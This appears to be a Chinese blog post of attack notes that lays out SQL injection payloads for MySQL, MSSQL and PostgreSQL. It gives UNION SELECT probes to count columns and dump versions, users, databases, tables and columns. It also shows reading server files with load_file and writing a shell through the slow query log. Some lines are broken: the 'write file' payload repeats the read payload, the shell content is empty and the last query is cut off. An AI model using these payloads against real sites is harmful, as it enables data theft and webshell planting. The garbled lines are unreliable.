网络安全之攻防笔记--通用漏洞SQL注入之MySQL&mssql&postgresql

发布于:2025-02-22 ⋅ 阅读:(17) ⋅ 点赞:(0)
  • 通用漏洞SQL注入之mysql&h&mssql&postgresql
    • mysql数据库
      • root高权限读写注入
        • 读取文件
          • UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
        • 写入文件
          • UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
        • 路径获取
          • phpinfo,报错,字典等
        • 无法写入
          • secure_file_priv 突破 注入中需要支持 SQL 执行环境,没有就需要借助 phpmyadmin 或能够直接连上对方数据库进行绕过
          • set global slow_query_log=1
          • set global slow_query_log_file='shell 路径';
          • select '' or SLEEP(1);
    • mssql数据库
      • 高权限读写注入
        • 可以执行系统命令、读写文件操作
        • 测列数
          • ORDER BY 4
          • AND 1=2 UNION SELECT NULL,NULL,NULL,NULL
        • 测显位
          • AND 1=2 UNION SELECT NULL,'NULL',NULL,NULL
        • 获取信息
          • AND 1=2 UNION SELECT NULL,@@VERSION,NULL,NULL
          • AND 1=2 UNION SELECT NULL,SUSER_NAME(),NULL,NULL
          • AND 1=2 UNION SELECT NULL,DB_NAME(),NULL,NULL
        • 获取数据库名
          • AND 1=2 UNION SELECT NULL,name,NULL,NULL FROM master..sysdatabases
        • 获取表名
          • AND 1=2 UNION SELECT NULL,name,NULL,NULL FROM sysobjects WHERE xtype='U'
        • 获取数据
          • AND 1=2 UNION SELECT NULL,column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'
    • postgresql数据库
      • 高权限读写注入
        • 测列数
          • order by 4
          • and 1=2 union select null,null,null,null
        • 测显位:第2,3
          • and 1=2 union select 'null',null,null,null 错误
          • and 1=2 union select null,'null',null,null 正常
          • and 1=2 union select null,null,'null',null 正常
          • and 1=2 union select null,null,null,'null' 错误
        • 获取信息
          • and 1=2 UNION SELECT null,version(),null,null
          • and 1=2 UNION SELECT null,current_user,null,null
          • and 1=2 union select null,current_database(),null,null
        • 获取数据库名:
          • and 1=2 union select null,string_agg(datname,','),null,null from pg_database
        • 获取表名
          • 1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
          • 2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
        • 获取数据
          • and 1=2 union select
    • 另外
      • access无高权限注入点--只能猜解,还是暴力猜解
      • MySQL,postgresql,mssql高权限注入点-可升级读写执行